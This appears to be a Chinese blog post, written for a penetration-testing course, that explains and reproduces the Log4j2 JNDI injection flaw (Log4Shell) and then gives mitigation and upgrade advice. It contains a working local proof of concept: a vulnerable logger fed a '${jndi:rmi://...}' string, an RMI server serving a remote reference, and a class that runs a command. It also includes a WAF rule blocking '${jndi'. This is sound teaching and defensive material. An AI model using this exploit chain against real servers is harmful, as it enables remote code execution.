Log4j高危漏洞原理及复现

Log4j高危漏洞原理及复现

漏洞检测||复现环境

查看JDK版本,发现版本小于1.8u121

img

图3-7 查看JDK版本

查看log4j2版本,发现版本在2.x <= 2.14.1内

Log4j高危漏洞原理及复现_第1张图片

图3-8 查看log4j2版本

查看代码,发现存在log4j2相关的lookup语句

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w9LtKVys-1639577266999)(C:\Users\BLACKF~1\AppData\Local\Temp\ksohtml\wps3AFF.tmp.jpg)]

图3-9 查看lookup语句

判断,存在log4j2高危漏洞。

漏洞复现

1)目录结构:

Log4j高危漏洞原理及复现_第2张图片

图3-10 目录结构

2)需要的xml文件依赖:


    
    
        org.apache.logging.log4j
        log4j-api
        2.14.0
    
    
        org.apache.logging.log4j
        log4j-core
        2.14.0
    
    
    
        com.fasterxml.jackson.dataformat
        jackson-dataformat-yaml
        2.12.3
    
    
    
        org.slf4j
        slf4j-api
        1.7.32
    
    
    
        org.apache.logging.log4j
        log4j-slf4j-impl
        2.9.1
    
 

3)受害者服务器代码(模拟运行存在漏洞log4j2的服务器)

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * 模拟运行存在漏洞log4j2的服务器
 */
public class ServerTest {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
//        有些高版本jdk需要打开此行代码
//        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        //模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
        String username = "${jndi:rmi://127.0.0.1:80/evil}";
//        String username  = "${java:os}";
        //正常打印业务日志
        logger.error("username,{}",username);
    }
} 

图3-12 受害者服务器代码

4)构建RMI服务来响应恶意代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * 准备好RMI服务端,等待受害服务器访问
 */
public class RMIServer {
    public static void main(String[] args) {
        try {
            // 本地主机上的远程对象注册表Registry的实例,默认端口1099
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Create RMI registry on port 1099");
            //返回的Java对象
            Reference reference = new Reference("EWvilCode","EWvilCode",null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            // 把远程对象注册到RMI注册服务器上,并命名为evil
            registry.bind("evil",referenceWrapper);
        } catch (RemoteException | AlreadyBoundException | NamingException e) {
            e.printStackTrace();
        }
    }
} 

图3-13 构建RMI服务器代码

5)恶意代码(打开计算器)

Java RMI,即 远程方法调用(Remote Method Invocation),一种用于实现远程过程调用(RPC)的Java API, 能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于(JVM),因此它仅支持从一个JVM到另一个JVM的调用。

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
/**
 */
public class EWvilCode {
    static {
        System.out.println("will do this");
        Process p;
        String[] cmd = {"calc"};
        try {
            p = Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            while((line=br.readLine())!=null) {
                System.out.println(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
} 

图3-14 恶意代码

6)网站搭建
JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

Java RMI,即 远程方法调用(Remote Method Invocation),一种用于实现远程过程调用(RPC)的Java API, 能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于(JVM),因此它仅支持从一个JVM到另一个JVM的调用。

LDA(Lightweight Directory Access Protocol)P是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

启动phpstudy

Log4j高危漏洞原理及复现_第3张图片

图3-15 phpstudy启动

攻击脚本class文件生成:

Log4j高危漏洞原理及复现_第4张图片

图3-16 生成class文件

将生成的class攻击文件放置在网址文件的根目录下:

Log4j高危漏洞原理及复现_第5张图片

图3-17 查看网站根目录

Log4j高危漏洞原理及复现_第6张图片

图3-18 放置恶意代码文件

7)运行RMIServe.java打开服务端:

Log4j高危漏洞原理及复现_第7张图片

图3-19 打开服务端

8)输入构造好的字符串

Log4j高危漏洞原理及复现_第8张图片

图3-20 构造字符串

9)运行ServeTest.java,传入攻击语句,受害服务器打印日志时执行远程的代码,远程代码攻击执行成功,弹出计算器。

Log4j高危漏洞原理及复现_第9张图片

图3-20 攻击成功

受影响的应用及组件(包括但不限于)

Apache Solr、Apache Flink、Apache Druid、Apache Struts2、srping-boot-stra ter-log4j2等。

Log4j高危漏洞原理及复现_第10张图片

漏洞分析及修复建议

漏洞由来

为了输出日志时能够方便地输出任意位置的java对象,Log4j2引入了一个叫Lookup的统一接口。这个接口允许在写日志的时候,按照具体的实现逻辑去查找对象的位置,并输出对象的内容。这里的对象通常在内存中,但由于java支持对象的序列化/反序列化,它也可以存储在硬盘文件里,甚至是远程服务器上。

我们提到的JNDI就是对Lookup接口的一种实现。其本身也是一个接口,提供了命名关键字到对象的映射目录,允许开发者提供一个名称,即可获取到对象的内容。LDAP,即轻量级目录访问协议,是JNDI的一种底层实现,它可以让我们方便的查询分布式数据库。既然是分布式的,LDAP允许从远程服务器加载对象。而这里加载对象时使用的不是一般的反序列化方法,而是通过「命名引用」功能,支持直接从远程下载class文件并加载对象。

于是,Log4j2中就暗含了注入漏洞:允许传入参数解析为LDAP协议,从远程服务器下载class文件并执行。这个功能本来是为了方便开发,使java对象位置对上层应用透明,却不料酿成大祸。

漏洞分析

在受影响版本中,攻击者可以利用该漏洞在未授权的情况下,构造恶意参数以远程方式在目标服务器上执行恶意代码,从而获取目标服务器的控制权限。

该漏洞的POC在11月底被安全研究人员发布,12月8日网络上出现该漏洞POC。安天CERT分析人员对该漏洞以及已公开的POC进行分析,在Log4j 2组件的版本低于2.15 RC2的情况下均能成功执行任意代码,通过POC可以成功获得受害服务器返回的连接。

漏洞描述

Apache Log4j2是一个基于Java的日志记录工具。Log4j是几种Java日志框架之一。该项目在Apache接手后进行了代码重构,解决了框架中的架构问题并在Log4j中提供了一个插件架构,这使其更具扩展性。用户可以更为精确的对日志进行细粒度的控制,支持将日志信息发送到服务器、写入到文件或是发送给GUI组件等,通过定义日志信息的级别、输出格式,发送参数来对日志进行更完善的管理。

Log4j 2.X中采用了LDAP的简单目录服务结构进行日志的查询。在进行递归查询时,JNDI方法在处理查询参数的过程中存在注入漏洞,攻击者可利用该漏洞在未授权的情况下,构造恶意参数以远程方式在目标服务器上执行恶意代码。

该漏洞的POC在11月底被安全研究人员发布,12月8日网络上出现该漏洞POC。该漏洞影响范围非常广泛,目前无法准确统计受影响的具体资产和组件的数量。安天CERT建议通过Apache官方升级页面下载对应的升级包对存在该漏洞的组件进行升级以修复该漏洞。对于无法进行升级的用户可以采用缓解措施进行暂时防御。

修复建议

目前针对上述发现的Apache Log4j2漏洞的主要应对方法如下:

临时缓解措施

1)设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。由于Java RMI,的实现依赖于JVM,所以可以通过调用JVM来修改。

2)设置log4j2.formatMsgNoLookups=True。

3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKU PS为true。

4)采用rasp对lookup的调用进行阻断。本次漏洞是基于lookup实现,所以只要拦截lookup调用即可。

5)采用waf对请求流量中的${jndi进行拦截。通过对拦截JNDI语句来防止JNDI注入。

6)禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。攻击是通过远程访问攻击者的服务器来实现的,所以拒绝访问不必要的外网就可以防止访问并下载黑客存放在本地的恶意代码。

7)排查日志集中管理服务器,以及基于java开发的商业软件,以及其他可能存在隐患的基础环境。

永久解决措施

升级到最新的安全版本:log4j-2.15.0-rc2。Apache Log4j2 官方已经发布了解决上述漏洞的安全更新,建议尽快升级到安全版本。

官方GitHub下载链接:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议对 Apache Struts2/Apache Solr/Apache Flink/Apache Druid 等已知受影响的应用及组件进行升级。

小问号

为什么会有这个漏洞?

log4j引入了一个lookup接口,允许在写日志的时候,通过关键词去查找对象,输出对象,并实现对象功能。这个对象可以存储在硬盘中或者服务器上。

JNDI是lookup接口的一种思想,提供了命名关键词到目录的映射,允许开发者提供一个key,就可以得到对应的映射。

LDAP即JNDI中的一种底层实现,是轻量级目录访问协议,可以方便我们查询分布式数据库,所以允许从远程服务器上加载对象。

故log4j2存在注入漏洞,可以从远程服务器下载编译好的class恶意文件并执行。

这个攻击脚本在哪里执行?

试一下就知道了,在被攻击服务器。

攻击脚本以及class下载地址是谁指定的?

攻击者,由攻击者编写攻击脚本,编译为class文件。jndi:ladp://192.132.234.234巴拉巴拉是有攻击者在接口输入的。

为什么logger记录日志(参数如上),会执行恶意代码?而不是原样输出这一串字符?

lookup尝试解析并打印,除了获jndi获取数据

Log4j高危漏洞原理及复现_第11张图片

打一个断点,调试,发现使用lookup

Log4j高危漏洞原理及复现_第12张图片

为什么危害性这么强?

攻击代码自己写,攻击方式门槛低。

Log4j高危漏洞原理及复现_第13张图片

几乎是任意的输入框(百度的搜索框等等),因为多数会进行log4j的log进行记录,所以几乎都会被攻击。。。

为什么被攻击端下载了class文件,就会自动执行?

存在NamingManager.getObjectFactoryFromReference()这个函数至使类文件对象实例化运行。

Log4j高危漏洞原理及复现_第14张图片

本篇部分博文内容是我完成渗透实验的结课作业时所做,具体参考内容较多,当时没有保存下来,这边就不进行引用。带有二维码的截图是观看天涯老师的直播讲解,扫描添加助教得代码。
讲解好的博文:

  1. log4j2-RCE 漏洞复现 | 爱玩且很菜 (sf2333.github.io)
  2. 危害堪比“永恒之蓝” 的高危漏洞来了! Apache Log4j存远程执行漏洞!_腾讯新闻 (qq.com)
  3. JNDI 注入漏洞的前世今生 - evilpan

你可能感兴趣的:(渗透作业,渗透,服务器,安全,apache,log4j,log4j2)